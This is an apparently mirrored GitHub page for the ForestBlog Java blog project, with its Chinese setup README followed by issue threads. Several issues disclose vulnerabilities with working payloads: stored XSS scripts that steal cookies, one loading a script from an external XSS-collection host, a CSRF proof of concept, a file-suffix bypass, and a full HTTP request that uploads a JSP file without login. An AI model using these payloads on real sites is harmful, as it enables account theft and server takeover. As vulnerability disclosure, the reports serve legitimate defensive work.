Code Monkey home page Code Monkey logo

forestblog's Introduction

最新消息,博主已开通B站账号:Java刘哥,欢迎关注,分享自己原创免费Java实战课程、各种框架实战和技巧、以及公司项目经验

博主开发的其他博客或论坛项目全部在这里

https://liuyanzhao.com/shop.html?k=博客
https://liuyanzhao.com/shop.html?k=论坛


博主提供风吟博客二次开发功能
目前已完成但不限于以下功能(需要相关源码可以联系博主)

  • 风吟博客+协同过滤推荐功能 2022年5月
  • 风吟博客+websocket私信聊天功能 2022年4月
  • 风吟博客+ElasticSearch文章搜索高亮功能 2022年3月
  • 风吟博客改造成其他博客、论坛、知识分享平台 不计其数

2022 最新消息 SpringBoot轻量级推荐博客 https://github.com/saysky/recommendedblog
最新消息,SpringBoot博客已经开源,SENS
最新消息 SpringBoot/SSM/Duubo多个版本 初云博客-SpringBoot版本
更多项目、博主付费商品


关于项目

该博客是基于SSM实现的个人博客系统,适合初学SSM和个人博客制作的同学学习。
最新版本支持用户注册,包含用户和管理员两个角色 。
博主已写了一篇该项目的毕业论文和录制了2个小时的代码讲解可以供大家学习,需要的可以联系博主,微信303695336。

主要涉及技术包括的包括 Maven、Spring、SpringMVC、MyBatis、JSP、MySQL等。
详细介绍:https://liuyanzhao.com/6347.html
预览地址 http://forestblog.liuyanzhao.com

博主提供有偿服务

  • 远程调试环境和运行项目 50
  • 项目论文 100
  • 项目详细讲解2-3小时 200
  • 部署到云服务器 200
  • 项目和部分功能定制 200起
  • 完整毕业设计定制 1000
  • 更多项目、博主付费商品

前台效果图
image
后台效果图
image
后台地址:/admin 或者 /login

使用注意

1.开发工具的选择

请使用 IntelliJ IDEA, 尽量不要用 Eclipse/MyEclipse,使用前者项目起不来我可以帮忙解决,后者直接忽视(理论上可以起)

2.确保你安装了 Maven

从官网下载 Maven,并配置阿里云镜像,IDEA 或 Eclipse 里需要设置 Maven 的 settings.xml 。

3.请安装 Lombok 插件

代码中多次使用 @Data 注解,请确保你的 IDE 安装了 Lombok 插件,否则找不到 getter/setter 方法。如果你的 lombok 无效,可能是 pom.xml 里的 lombok 版本和你安装的lombok 版本相差较大。
无论是 Eclipse 还是 IDEA 都需要安装 lombok。

4.项目首页没有文件夹名称

确保 tomcat 配置中 application context 是 /,而不是 /ForestBlog。这是导致你们首页css样式全无的原因,因为引用css路径都是 /xxx/xxx.css image

使用步骤

任何问题都可以联系我
简单的我可以直接口头回复你,复杂的可以有偿远程帮你。
Q Q:847064370
微信:847064370
在线留言:https://liuyanzhao.com/message.html

1、克隆项目

克隆或者下载项目到本地,解压,主要分为三个部分:ForestBlog、uploads 和 forest_blog.sql
ForestBlog: 完整项目源码, 可以使用 IDEA 导入或者打开,记得要导入里面那个 ForestBlog项目,即 pom.xml所在的父目录。
uploads: 上传图片的目录,与源码分离开来,可以放到物理磁盘某一目录,如D盘某目录,后面会讲
forest_blog.sql: 数据库文件,请先创建数据库,然后以运行sql文件方式导入

2.使用 IDEA 导入Maven项目

确保你安装了 Maven,导入项目时,选择已存在的项目,类型是 Maven 项目。
等待Maven下载完依赖,或者手动点击刷新,如果无法下载请检查 Maven 配置和切换网络,多次尝试。
导入完成后,如果出现Java类里红色报错,多半是 Lombok 插件没有安装。

3、 导入数据库

新建数据库 forest_blog,导入数据库(即forest_blog.sql)。注意,数据库的编码和排序规则是utf-8和utf-8_general_ci

4、修改项目中的数据库连接信息

修改 db.properties 文件,该文件很容易找到,在 src/main/resources 中
里面有 MySQL, 请确保已安装和启动 MySQL
注意修改数据库地址、表名、用户名和密码。
否则项目无法启动

5、配置 tomcat 和 uploads 目录

该项目是 SSM 项目,没有启动类,需要通过 tomcat 来运行。无论是 Eclipse 还是 IDEA 都很容易。
这里主要说一下上传目录映射问题:
该项目中,文件上传是传到本地,且和项目文件夹不在一起,就是说是源码和上传目录是分离的。
比如我们把 uploads 目录放到 E盘根目录(建议直接把我的那个uploads文件夹拷贝到D盘根目录),比如有一张图片路径是 D:/uploads/2017/10/avatar.jpg, 我们想在项目中以 http://loclahost:8080/uploads/2017/10/avatar.jpg 方式访问,需要以下两步:

1、 修改 UploadFileController.java 中上传路径,需要修改 rootPath 为你指定的 uploads 目录,如 String rootPath ="D:/uploads/";
如果不修改,会出现无法上传失败;

2、为 tomcat 设置 uploads 映射。

  • IDEA 操作如下:
    在 tomcat 配置中 Deployment 里面添加,如图 image image

  • Eclispe 操作如下:
    在 Server/server.xml 的 前面添加

<Context path="/" docBase="项目路径,不需要改" debug="0" reloadable="true" />
<Context path="/uploads" docBase="D:/uploads/" debug="0" reloadable="true" />
  • Linux 服务器环境部署

在 tomcat/conf/server.xml 的 Host 标签内添加如下代码

<Context path="/" docBase="项目路径如 /www/server/tomcat/webapps/ForestBlog" debug="0" reloadable="true" />
<Context path="/uploads" docBase="/www/uploads" debug="0" reloadable="true" />

如果不修改,会出现uploads的图片无法加载,无法显示上传目录的图片

下载地址:

Github地址:https://github.com/saysky/ForestBlog (如果可以帮忙点一次Star和Fork)

更新记录

  • 2021年02月25日

  • 第三次大更,修复部分Bug,新增用户注册、用户管理等功能

  • 2018年11月26日

  • 第二次大更,重新规范了代码,完善了注释

  • 2017年10月10日

  • 首次完整提交

请喝一杯奶茶

请我喝一杯奶茶吧! 插条广告:博主最近有点时间,长期接毕设定制,软件定制,Java问题解决
具体查看有偿服务
博主付费商品:https://liuyanzhao.com/shop.html

image

forestblog's People

Contributors

saysky avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

forestblog's Issues

ForestBlog存在前台存储型xss漏洞可获取所有用户包括管理员的账号密码(ForestBlog has a front-end storage type xss vulnerability, which can obtain the account passwords of all users, including administrators)

首先进入注册页面,昵称为任意的javascript代码,我这里以<script>alert(document.cookie)</script>为例获取cookie,真实的利用是将document.cookie的内容通过http请求发送到攻击者远程服务器保存,因为cookie里面包含用户名密码,所以xss攻击成功时攻击者也就获取到了用户/管理员的账号密码
English:First enter the registration page, the nickname is any javascript code, here I take <script>alert(document.cookie)</script> as an example to get the cookie. The real use is to send the content of document.cookie to the attacker through an http request The remote server saves, because the cookie contains the username and password, so when the xss attack is successful, the attacker also obtains the user/administrator's account password
1
注册完成后随便进入一篇文章随便评论
English:After the registration is completed, you can enter an article and comment at will
2
这个时候以下情况会触发xss:
English:At this time, the following conditions will trigger xss:
1.由于管理员界面会展示近期评论,故管理员登陆后台时会立即触发xss
English:1.Since the administrator interface will display recent comments, xss will be triggered immediately when the administrator logs in to the background
3
4
2.由于博客主页也会展示近期评论,故所有用户/管理员访问博客主页时会立即触发xss
English:2.Since the blog homepage also displays recent comments, xss is triggered immediately when all users/admins visit the blog homepage
5
6
3.由于攻击者在文章下面评论了,所以访问该文章也会立即触发xss
English:3.Since the attacker commented under the article, accessing the article also immediately triggers xss
7
故该漏洞危害非常大影响范围非常广利用难度非常低,除了获取所有用户/管理员的cookie外由于这儿的js代码是攻击者可以自定义的,恶意跳转等破坏站点完整性的情况也是存在的
English:Therefore, the vulnerability is very harmful and has a very wide scope of influence, and the difficulty of utilization is very low. In addition to obtaining the cookies of all users/administrators, since the js code here can be customized by the attacker, malicious jumps and other situations that destroy the integrity of the site also exist. of
修复建议:
English:Repair suggestion:
1.引入CSP策略,限制脚本加载(推荐,看之前也出现过很多次xss漏洞,一处一处修也麻烦,可能还有未知的地方存在xss,引入CSP并正确配置后XSS就可以全部避免),次一点的办法是对用户输入的内容进行输出时进行html实体编码
English:1. Introduce CSP strategy to limit script loading (recommended, there have been many xss loopholes before, it is troublesome to repair one by one, there may be xss in unknown places, XSS can be completely avoided after CSP is introduced and configured correctly) , the next method is to perform html entity encoding when outputting the content input by the user
2.cookie中不存储明文的账号密码
English:2. The account password in plain text is not stored in the cookie

There is stored xss vulnerability

Bug Report

I found stored-xss vulnerability in the website everywhere.
I run the project in my environment with tomcat.
In article comment editing , I insert some xss payload for my test.
payload: <img src=x onerror=alert(1) />
image
image
we can see the javascript payload is effective.
And then I test the name input, It also has the problem.
image

When the admin user logins in the site in background, it also strikes in the website.
image

pom.xml两个Junit依赖

使用maven创建骨架,产生了junit3.8.1依赖,同时自己添加了junit4.1.2依赖。可以删除冗余

修复一个后台修改头像后不能显示的bug

感谢作者的无私奉献,这是一个非常好的学习ssm框架的项目。我也来班门弄斧一下:

在Admin/User/edit.jsp中第127行:

$("#userAvatar").attr("value", res.data.src);

下添加一行:

${userCustom.userAvatar} = res.data.src;

测试可行。

优化article中的索引

问题

表article中缺少一些需要的索引,通过测试,我们发现加上这些索引可以极大地提高相关查询的性能(高达80%),需要添加的索引分别如下所示:

1.article.article_user_id

ArticleMapper#countByUser是根据用户id统计其文章数量,为比较常用的查询语句,在article_user_id上添加索引可以加快该查询的效率。

2.article.article_update_time

ArticleMapper#getLastUpdateArticle是获取最新更新的文章,为一条常用查询,在update_time字段添加索引可以很大程度上提升该语句的性能。

3.article.(article_order, article_id)

ArticleMapper#findAll实现的是根据条件查询article中的所有字段,为比较常用的查询语句,结果按照article_order和article_id来排序,在这两个字段上添加联合索引可以极大地提升该语句的查询效率。

4.article.article_title(FullText)

ArticleMapper#findAll的查询条件中常会带有关键字,会用其于article_title字段匹配,在实际使用中用关键字进行匹配文章是很常见的,因此应该为article_title添加全文索引从而加快相关查询。

解决方法

在下列字段添加索引
article.article_user_id
article_update_time
article_title
article.(article_order, article_id)

Add Index on article_category_ref to Accelerate Query

article_category_ref is an associative table of article and category, however it has neither primary key (on both columns) nor secondary index (in one of the two columns), which may affect performance when this table is large.

There is csrf vulnerability

csrf vulnerability

In this vulnerability, if the admin user click the Fishing links the hacker provided, the it can generate a new user that can login in the website management background.

I review the code in the project, then I found that the code where the admin add other users, it has no protection for Cross-site request forgery.
image

image

so, I use burp to generate the CSRF Poc.
image
image

then, if the admin click the button(some csrf link), it generates a new user admin2 in the websie.
image
admin2 can login in the website background.
image

for more test, this vulnerability can also use to delete some user in the website.

为啥报404?

HTTP Status 404 - /ForestBlog/

type Status report

message /ForestBlog/

description The requested resource is not available.

Apache Tomcat/7.0.64

一个或多个listeners启动失败

image

org.apache.catalina.core.StandardContext.startInternal 一个或多个listeners启动失败,更多详细信息查看对应的容器日志文件
01-Mar-2021 02:26:56.896 严重 [RMI TCP Connection(2)-127.0.0.1] org.apache.catalina.core.StandardContext.startInternal 由于之前的错误,Context[]启动失败

大佬知道这是为什么吗?试了百度的方法也不行

File upload bypass exists

In this code, the verification suffix should verify the file type after the last point:
public final String allowSuffix = ".bmp.jpg.jpeg.png.gif.pdf.doc.zip.rar.gz";

/**
 * 上传文件
 *
 * @param file
 * @return
 * @throws IOException
 */
@RequestMapping(value = "/img", method = RequestMethod.POST)
public JsonResult uploadFile(@RequestParam("file") MultipartFile file) {

    //1.文件后缀过滤,只允许部分后缀
    //文件的完整名称,如spring.jpeg
    String filename = file.getOriginalFilename();
    //文件名,如spring
    String name = filename.substring(0, filename.indexOf("."));
    //文件后缀,如.jpeg
    String suffix = filename.substring(filename.lastIndexOf("."));

    if (allowSuffix.indexOf(suffix) == -1) {
        return new JsonResult().fail("不允许上传该后缀的文件!");
    }

example:
1640676827(1)
image

user表问题

mysql默认存在user表,这个脚本的user表会覆盖mysql自带的,会引起权限问题,还请作者修改表名

XSS vulnerability

Version:current
In the comment section of the article, when the user is not logged in, the comment needs to fill in the nickname, email address and website address. If XSS is changed, the vulnerability URL is http://ip:port/comment
1-4
After filling in the parameters, use burpsuite to capture the package, and modify the parameter value of the parameter commentauthoremail to < script /SRC=//xsshs.cn/h2X3 >It can not be directly used here document.cookie Get user cookie
1-5
When the background user clicks the comment to edit and save, XSS will be triggered. The vulnerability URL is http://ip:port//admin/comment/editSubmit
1-8
The XSS platform received a cookie from the background user
1-7

The source code for triggering the vulnerability is: \ForestBlog\src\main\java\com\liuyanzhao\ssm\blog\controller\admin\BackCommentController.java 110 lines of
1-3

XSS attacks occur when user profile pictures are updated

1.Edit user information and save it
image
2.The profile picture address in the packet capture request is changed
payload:1" onerror=alert('xss') class="1
image
3.Any place where the user's avatar is loaded triggers a Cross Site Scripting
image
4.User information should be added and modified with XSS detection
src/main/java/com/liuyanzhao/ssm/blog/controller/admin/AdminController.java
image

修改部分表引擎提高全表行数统计的性能

问题

在如下三个实现分页查询的过程中会产生统计全表行数的语句

1.CommentServiceImpl#listCommentByPage

SELECT count(0) FROM comment

2.CategoryController#getArticleListByCategory

SELECT COUNT(*) FROM category

3.TagController#getArticleListByTag

SELECT COUNT(*) FROM tag

在InnoDB中不会缓存表的元数据,因此执行这样的语句会造成比较大的时间开销,而MyISAM则缓存有表的元数据,统计行数可以在很短的时间内完成。如果没有其它必须使用InnoDB的原因,建议修改表的存储引擎从而优化这类语句。
参考:https://dev.mysql.com/doc/refman/8.0/en/group-by-functions.html#function_count

解决方法

修改comment、category和tag表的存储引擎为MyISAM

ForestBlog Existing Xss

Vulnerability Product:ForestBlog
Vulnerability version: all
Vulnerability type: Stored XSS
Vulnerability Details:

<script>alert(document.cookie)</script>

the Stored XSS payload could let admin causes disclosure of cookies、root path of websites、variables of PHP and stuff

  1. Login link: http://forestblog.liuyanzhao.com/login
    I registered my own account here
    Account: linkk
    Password: linkk
    image

  2. When writing the article title or content, enter<script>alert (document. cookie)</script>
    Click to publish
    image

  3. Click on the homepage to view this article
    image

Discovered that xss was triggered

优化comment中的索引

问题

表comment中缺少一些需要的索引,通过测试,我们发现加上这些索引可以极大地提高相关查询的性能(高达80%),需要添加的索引分别如下所示:

1.comment.comment_article_id

CommentMapper#listCommentByArticleId为根据文章来查找相关评论,这无疑评论相关的一个比较频繁的查询,为了提高该查询的效率,应该在article_id字段添加索引。

2.comment.comment_pid

CommentMapper#listChildComment查询一条评论的子评论,同样也是一个比较常见的查询,因此值得在comment_pid字段添加索引从而加快该查询的速度。

解决方法

在下列字段添加索引
comment.comment_article_id
comment.comment_pid

Artifact ForestBlog:war: Error during artifact deployment. See server log for details.

  • 环境
24-Feb-2018 17:05:22.430 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Server version:        Apache Tomcat/8.5.28
24-Feb-2018 17:05:22.435 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Server built:          Feb 6 2018 23:10:25 UTC
24-Feb-2018 17:05:22.435 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Server number:         8.5.28.0
24-Feb-2018 17:05:22.435 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log OS Name:               Windows 10
24-Feb-2018 17:05:22.435 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log OS Version:            10.0
24-Feb-2018 17:05:22.435 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Architecture:          amd64
24-Feb-2018 17:05:22.436 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Java Home:             C:\Program Files\Java\jdk1.8.0_161\jre
24-Feb-2018 17:05:22.436 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Version:           1.8.0_161-b12
24-Feb-2018 17:05:22.436 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Vendor:            Oracle Corporation
24-Feb-2018 17:05:22.436 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_BASE:         C:\Users\Avalon\.IntelliJIdea2017.3\system\tomcat\Unnamed_ForestBlog_2
24-Feb-2018 17:05:22.436 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_HOME:         C:\apache-tomcat-8.5.28
  • 部分错误日志
Connected to server
[2018-02-24 05:05:24,164] Artifact ForestBlog:war: Artifact is being deployed, please wait...
24-Feb-2018 17:05:33.842 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory [C:\apache-tomcat-8.5.28\webapps\manager]
24-Feb-2018 17:05:34.421 信息 [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [C:\apache-tomcat-8.5.28\webapps\manager] has finished in [578] ms
24-Feb-2018 17:05:40.018 信息 [RMI TCP Connection(3)-127.0.0.1] org.apache.jasper.servlet.TldScanner.scanJars At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time.
log4j:WARN No appenders could be found for logger (org.springframework.web.context.ContextLoader).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
24-Feb-2018 17:05:40.582 严重 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.core.StandardContext.startInternal One or more listeners failed to start. Full details will be found in the appropriate container log file
24-Feb-2018 17:05:40.583 严重 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.core.StandardContext.startInternal Context [] startup failed due to previous errors
[2018-02-24 05:05:40,759] Artifact ForestBlog:war: Error during artifact deployment. See server log for details.

暂时不知道问题出在哪,希望能够指导一下

后台头像处点击基本资料404

后台头像处的基本资料点击会404,因为代码里admin/profile后面不需要再跟链接userId了,把超链接修改即可,望修复。谢谢!

通过ORDER BY RAND()获取随机文章会导致比较差的性能

ActicleMapper::listRandomArticle

SELECT
<include refid="Base_Column_List"/>
FROM
<include refid="tb"/>
WHERE article_status = 1
ORDER BY
RAND()
limit #{limit}

里用ORDER BY RAND()来取得随机的行。在article表比较大的情况下性能比较差,因为会进行全表扫描然后filesort。

可能的优化方法可以参考这个SO

启不起来啊

7-Nov-2019 21:01:56.241 警告 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.util.SessionIdGeneratorBase.createSecureRandom Creation of SecureRandom instance for session ID generation using [SHA1PRNG] took [227] milliseconds.
17-Nov-2019 21:01:56.243 严重 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.core.StandardContext.startInternal Context [] startup failed due to previous errors
17-Nov-2019 21:01:56.246 信息 [Catalina-utility-2] org.apache.catalina.startup.HostConfig.deployDirectory 把web 应用程序部署到目录 [D:\apache-tomcat-9.0.26\webapps\manager]
17-Nov-2019 21:01:56.275 警告 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc Web应用程序 [ROOT] 注册了JDBC驱动程序 [com.alibaba.druid.proxy.DruidDriver],但在Web应用程序停止时无法注销它。 为防止内存泄漏,JDBC驱动程序已被强制取消注册。
17-Nov-2019 21:01:56.275 警告 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc Web应用程序 [ROOT] 注册了JDBC驱动程序 [com.mysql.cj.jdbc.Driver],但在Web应用程序停止时无法注销它。 为防止内存泄漏,JDBC驱动程序已被强制取消注册。
[2019-11-17 09:01:56,307] Artifact ForestBlog:war exploded: Error during artifact deployment. See server log for details.
17-Nov-2019 21:01:56.371 信息 [Catalina-utility-2] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory [D:\apache-tomcat-9.0.26\webapps\manager] has finished in [124] ms
[2019-11-17 09:01:56,400] Artifact uploads: Artifact is deployed successfully
[2019-11-17 09:01:56,401] Artifact uploads: Deploy took 9,903 milliseconds
17-Nov-2019 21:02:00.273 信息 [Abandoned connection cleanup thread] org.apache.catalina.loader.WebappClassLoaderBase.checkStateForResourceLoading Illegal access: this web application instance has been stopped already. Could not load []. The following stack trace is thrown for debugging purposes as well as to attempt to terminate the thread which caused the illegal access.
java.lang.IllegalStateException: Illegal access: this web application instance has been stopped already. Could not load []. The following stack trace is thrown for debugging purposes as well as to attempt to terminate the thread which caused the illegal access.
at org.apache.catalina.loader.WebappClassLoaderBase.checkStateForResourceLoading(WebappClassLoaderBase.java:1385)
at org.apache.catalina.loader.WebappClassLoaderBase.getResource(WebappClassLoaderBase.java:1038)
at com.mysql.cj.jdbc.AbandonedConnectionCleanupThread.checkContextClassLoaders(AbandonedConnectionCleanupThread.java:96)
at com.mysql.cj.jdbc.AbandonedConnectionCleanupThread.run(AbandonedConnectionCleanupThread.java:69)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at java.base/java.lang.Thread.run(Thread.java:834)
求助

uploads文件不全 图片有缺失

我调试了几天终于搞定,感谢up主。但是发现uploads/2018 文件夹里面有缺少入如07文件夹,缺失部分图片。up主可以上传全文件吗?谢谢

信息未同步

在后台删除全部文章后,分类里依然显示文章数,导致分类无法删除

MySql 数据库版本较高时候驱动版本太旧报错。

MySql 版本:
select version();
+-----------+
| version() |
+-----------+
| 8.0.12 |
+-----------+
1 row in set (0.00 sec)

当前 8.0.12 MySql 环境下会报错:

2019-08-29 11:49:09,338 ERROR [com.alibaba.druid.pool.DruidDataSource] - init datasource error, url: jdbc:mysql://localhost:3306/forest_blog?useUnicode=true&characterEncoding=UTF-8&useSSL=false&serverTimezone=UTC
java.sql.SQLException: Could not retrieve transation read-only status server

Caused by: java.sql.SQLException: Could not retrieve transation read-only status server

替换两个 Jar :

  1. spring-jdbc
    屏蔽原来的:
        <!--<groupId>org.springframework</groupId>-->
        <!--<artifactId>spring-jdbc</artifactId>-->
        <!--<version>4.2.0.RELEASE</version>-->

添加新版本:

org.springframework
spring-jdbc
5.1.9.RELEASE

  1. mysql-connector-java
    屏蔽原来的:
        <!--<groupId>mysql</groupId>-->
        <!--<artifactId>mysql-connector-java</artifactId>-->
        <!--<version>5.1.30</version>-->

添加新版本:

mysql
mysql-connector-java
8.0.17

EL Syntax Error

Description Resource Path Location Type
EL Syntax Error articleListByCategory.jsp /ForestBlog/src/main/webapp/WEB-INF/view/Home/Page line 0 JSP Problem

优化article_tag_ref中的索引

问题

表article_tag_ref中缺少一些需要的索引,通过测试,我们发现加上这些索引可以极大地提高相关查询的性能(高达80%),需要添加的索引分别如下所示:

1.article_tag_ref.tag_id

ArticleTagRefMapper#countArticleByTagId会根据tag_id来统计记录数量,此外在ArticleMapper#findAll中会出现一个字句,根据tag_id查询对应相关的article_id,因此应该单独为tag_id加上索引从而加快这些查询的效率。

解决方法

在下列字段添加索引
article_tag_ref.tag_id

XSS vulnerability exists

There is no character verification for the nickname of the registration interface
1640761829(1)
The administrator clicks the user function to pop up the XSS prompt box
image

一些xss问题.

前台搜索处有一个反射型xss
image
前台有一个发评论地址.

image
接收IP的代码
image

使用的是cn.hutool.http.HtmlUtil过滤 escape 方法过滤规则为
image

url在a标签href属性里面出现岂不是可以写伪协议进行xss.
image

进入后台首页,点击这个昵称

image
就成功触发了xss了

image
在管理评论列表页面,因为展示了ip信息所以就直接触发了.

image
后台写文章这里有一个上传功能.

image
文件名称写成带xss代码的文件名也是可以上传,例如.png也可以上传成功,但是这个功能只有后台才可以上传。

image
前台还有一个申请友链的地方.

image
image

There is an arbitrary file upload vulnerability

There are any files uploaded in the background of your website, you can upload any files,like jsp and html. And this API don't need user login in, the file uploaded through here can be directly getshell, take over the web

example:
Upload picture:
图片

Look at this interface's source code(/src/main/java/com/liuyanzhao/blog/controller/common/UploadFileController.java):
图片
You konw,there are two questions.
(1)Don't need user login in
(2)Can upload any files at this interface.

Choose a picture upload,delete the Cookie,and modify the suffix. jsp,html,ext....

POST /uploadFile HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/admin/article/edit/38
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------895687275210314910246127694
Content-Length: 6887
DNT: 1
Connection: close
Cookie: JSESSIONID=; viewId=36; username=; password=

-----------------------------895687275210314910246127694
Content-Disposition: form-data; name="file"; filename="21.jsp"
Content-Type: image/png

<%out.println(1);%>
-----------------------------895687275210314910246127694--

图片

we can visit it directly,
图片

I think you should limit the type of file you upload

疑问

博主这个跳转的时候为什么会有php的链接啊

师大的同学 你好

可以微信交流一下 我现在大四 在深圳实习 做的也是后台开发 你技术功底很好 明年春招去大厂实习吧

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.